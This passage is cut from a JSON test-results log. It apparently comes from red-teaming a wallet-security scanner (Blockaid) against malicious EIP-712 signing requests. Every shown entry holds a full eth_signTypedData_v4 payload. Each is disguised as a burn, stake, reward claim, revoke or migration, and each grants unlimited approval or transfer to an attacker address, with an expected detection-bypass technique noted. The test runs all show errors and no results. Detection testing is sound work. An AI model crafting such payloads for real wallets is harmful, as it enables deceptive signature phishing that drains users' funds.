"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:43:42.935Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:43:52.496Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:44:02.070Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:44:11.637Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:44:21.210Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:44:30.771Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:44:40.343Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:44:49.908Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:44:59.480Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:45:09.043Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN68-EIP3009-022", "timestamp": "2026-01-31T19:45:18.617Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3cf0d4b049bf46a858012beca7d9a00c9773235211181ee9a917342df18bd90c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN68-EIP3009-054", "timestamp": "2026-01-31T19:45:28.178Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x31ab5932a4cf396020e25d8837c63c1f77af8b076b7dd747c8804095dfecfb64\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:45:37.755Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:45:47.317Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:45:56.890Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:46:06.444Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:46:16.017Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:46:25.591Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:46:35.161Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My 